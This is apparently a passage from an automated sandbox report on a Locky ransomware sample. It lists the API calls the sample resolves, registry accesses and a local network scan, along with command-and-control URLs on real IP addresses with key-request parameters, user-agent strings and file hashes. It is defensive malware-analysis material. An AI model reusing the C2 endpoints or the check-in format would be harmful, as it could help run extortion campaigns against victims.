"GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter AccessCheck (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter MapGenericMask (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DuplicateToken (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter GetFileSecurityW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SetTokenInformation (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegDeleteValueA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptEncrypt (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter ShellExecuteW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetSetOptionA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetCrackUrlA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetQueryOptionA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HttpSendRequestExA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetWriteFile (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HttpEndRequestA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HttpQueryInfoA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter HttpAddRequestHeadersA (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WNetEnumResourceW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WNetAddConnection2W (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WNetCloseEnum (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter WNetOpenEnumW (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DsRoleFreeMemory (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter DsRoleGetPrimaryDomainInformation (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter ObtainUserAgentString (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter NtQueryVirtualMemory (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00008908) "locky.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00008908)2b:T4f8,Attempt to find devices in networks: "169.254.4.3/32, 169.254.5.62/32, 169.254.5.134/32, 169.254.15.137/32, 169.254.33.119/32, 169.254.38.150/32, 169.254.60.216/32, 169.254.74.15/32, 169.254.74.106/32, 169.254.81.91/32, 169.254.99.15/32, 169.254.107.42/32, 169.254.134.67/32, 169.254.157.140/32, 169.254.172.38/32, 169.254.181.63/32, 169.254.193.28/32, 169.254.196.210/32, 169.254.210.137/32, 169.254.220.201/32, 169.254.226.97/32, 169.254.227.28/32, 169.254.232.163/32, 169.254.237.129/32, 192.168.240.1/32, 192.168.240.2/32, 192.168.240.24/32, 192.168.240.141/32, 192.168.240.142/32, 192.168.240.200/32, 192.168.241.14/32, 192.168.241.59/32, 192.168.241.71/32, 192.168.241.94/32, 192.168.241.112/32, 192.168.241.175/32, 192.168.241.188/32, 192.168.241.195/32, 192.168.241.206/32, 192.168.241.215/32, 192.168.241.222/32, 192.168.241.238/32, 192.168.242.24/32, 192.168.242.47/32, 192.168.242.55/32, 192.168.242.65/32, 192.168.242.95/32, 192.168.242.116/32, 192.168.242.129/32, 192.168.242.143/32, 192.168.242.166/32, 192.168.242.168/32, 192.168.242.224/32, 192.168.242.240/31, 192.168.243.18/32, 192.168.243.37/32, 192.168.243.42/32, 192.168.243.76/32, 192.168.243.122/32, 192.168.243.143/32, 192.168.243.195/32, 192.168.243.204/32, 192.168.243.211/32, 192.168.243.254/32"2c:Tae1,Found URL "http://5.135.76.18/submit.phps+" - Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp") Found URL "http://5.135.76.18/submit.phpe732af8b56f&act=getkey&affid=1&lang=en" - Source: "00000000-00008908.00000000.333005.02750000.00000004.mdmp") Found URL "http://postbad" - Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found URL "http://93.170.131.108/submit.php://5.135.76.18/submit.php5.135.76.18/submit.phprpc-d3e7ecf9cd3ffcd35brpc-c7c8d677d8781ab45d??\c:\users\hapubwsrpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45d:\users\hapubwsrpc-d3e7ecf9cd3ffcd35brpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45drpc-d3e7ecf9cd3ffcd35brpc-c7c8d677d8781ab45d:\users\hapubwsrpc-c7c8d677d8781ab45ddevice\afd\endpoint??\c:\users\hapubwsrpc-c7c8d677d8781ab45d:\users\hapubwsrpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45dttp://93.170.131.108/submit.phpshist012025021520250216ttp://93.170.131.108/submit.phpecurity=impersonation" - Source: "00000000-00008908.00000001.334926.007B0000.00000004.mdmp") Found URL "http://93.170.131.108/submit.phphttp://93.170.131.108/submit.phpw:uduh" - Source: "00000000-00008908.00000001.334926.007B0000.00000004.mdmp") Found URL "http://93.170.131.108/submit.phpfid=1&lang=ene732af8b56f&act=getkey&affid=1&lang=en&corp=0&serv=0&os=oracle\1.0\;c:\winenssh\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00008908.00000001.334926.02750000.00000004.mdmp") Found URL "http://93.170.131.108/submit.phptp://31.41.44.130/submit.php://5.135.76.18/submit.php5.135.76.18/submit.phprpc-d3e7ecf9cd3ffcd35brpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45d:\users\hapubwsrpc-d3e7ecf9cd3ffcd35brpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45drpc-d3e7ecf9cd3ffcd35brpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45ddevice\afd\endpointrpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45drpc-c7c8d677d8781ab45dshist012025021520250216ecurity=impersonation" - Source: "00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found URL "http://82.146.37.200/submit.phpebcache_" - Source: "00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found URL "http://51.254.240.45/submit.phphttp://51.254.240.45/submit.phps+" - Source: "00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found URL "http://51.254.240.45/submit.phpasycasyc" - Source: "00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found URL "http://51.254.240.45/submit.php3.170.131.108/submit.phpfid=1&lang=ene732af8b56f&act=getkey&affid=1&lang=en&corp=0&serv=0&os=oracle\1.0\;c:\winenssh\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00008908.00000002.336847.02750000.00000004.mdmp")2d:T1fa6,Found string "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; WOW64; Trident/4.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/7.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows NT 6.2; WOW64; .NET4.0C; .NET4.0E; InfoPath.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.9200" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.9200" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; rv:11.0) like Gecko" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 8.0; Windows Phone OS 7.5; Trident/4.0; IEMobile/8.0)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/8.0; Touch; rv:11.0; IEMobile/11.0) like Gecko" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36 Edge/18.9200" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp") Found string "Mozilla/5.0 (Windows NT 6.2; Trident/8.0; XBLWP7; ZuneWP7)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00008908.00000000.333005.007B0000.00000004.mdmp, 00000000-00008908.00000001.334926.007B0000.00000004.mdmp, 00000000-00008908.00000002.336847.007B0000.00000004.mdmp")2e:T7e6,"locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "locky.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "")2f:T5ab,Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "locky.exe") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "locky.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "locky.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "locky.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "locky.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "locky.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "locky.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "locky.exe") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "MapGenericMask" (Indicator: "MapGenericMask"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "AccessCheck" (Indicator: "AccessCheck"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp")30:T57e,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "locky.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "locky.exe") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "locky.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "locky.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "locky.exe") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; File: "locky.exe") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "locky.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "locky.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "locky.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp")31:T835,Found malicious artifacts related to "93.170.131.108" (ASN: 57494, Owner: Krek Ltd.): ... URL: http://93.170.131.108/submit.php (AV positives: 7/68 scanned on 05/06/2016 04:25:12) URL: http://93.170.131.108/main.php (AV positives: 4/67 scanned on 04/08/2016 01:32:33) URL: http://93.170.131.108/submit.php/ (AV positives: 4/67 scanned on 04/07/2016 09:55:10) URL: http://93.170.131.108/ (AV positives: 4/67 scanned on 04/06/2016 13:49:26) File SHA256: d54173be31f755d216c6679bb999b12399678e555912e66c2c4e6bb7d2dcb394 (AV positives: 37/57 scanned on 04/26/2016 10:52:49) File SHA256: f82501fdab6d14ae41feee1046485d5be118d4a6160963f48f738e5d1a25ff4c (AV positives: 37/57 scanned on 04/26/2016 10:17:36) File SHA256: 470ecda5ee50bd8a94b50d6d60067814047ba495a038e6a1e0bc4d8ec65ddcf5 (AV positives: 37/57 scanned on 04/26/2016 08:46:58) File SHA256: ee97c12897c67c6af43d16221c04d16e4734495b4aada37d7a4307079241055c (AV positives: 35/57 scanned on 04/25/2016 13:29:56) File SHA256: 40e8683ea7c2178c1249cb6d7787228eea4493a805c8a5145a026b3ab24e16c0 (AV positives: 34/56 scanned on 04/25/2016 09:23:14) Found malicious artifacts related to "5.135.76.18" (ASN: 16276, Owner: OVH SAS): ... URL: http://5.135.76.18/submit.php (AV positives: 7/68 scanned on 05/08/2016 16:07:42) URL: http://5.135.76.18/ (AV positives: 4/67 scanned on 04/16/2016 21:11:45) URL: http://5.135.76.18/submit.php/ (AV positives: 6/67 scanned on 04/06/2016 23:41:14) File SHA256: d54173be31f755d216c6679bb999b12399678e555912e66c2c4e6bb7d2dcb394 (AV positives: 37/57 scanned on 04/26/2016 10:52:49) File SHA256: f82501fdab6d14ae41feee1046485d5be118d4a6160963f48f738e5d1a25ff4c (AV positives: 37/57 scanned on 04/26/2016 10:17:36) File SHA256: 470ecda5ee50bd8a94b50d6d60067814047ba495a038e6a1e0bc4d8ec65ddcf5 (AV positives: 37/57 scanned on 04/26/2016 08:46:59) File SHA256: 190c9b71385da560ddaeb0844f2f90ae7104f453134cbb582f91237321c7c8e8 (AV positives: 41/57 scanned on 04/26/2016 08:43:51) File SHA256: 82aa40ed70fd65f3c0995850eb64aa97bbeca4bd4063a6d1344cdbcc0c96ce16 (AV positives: 39/57 scanned on 04/25/2016 22:27:00)32:T515,"locky.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\CONTAINERS"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WINHTTP"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "locky.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "")33:T68f,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "locky.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "locky.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "locky.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "locky.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "locky.exe") Found reference to API "Module32FirstW" (Indicator: "Module32First"; File: "locky.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "locky.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "locky.exe") Found reference to API "Module32NextW" (Indicator: "Module32Next"; File: "locky.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "locky.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp")34:T55b,"locky.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter 0x64bc6d21.d (UID: 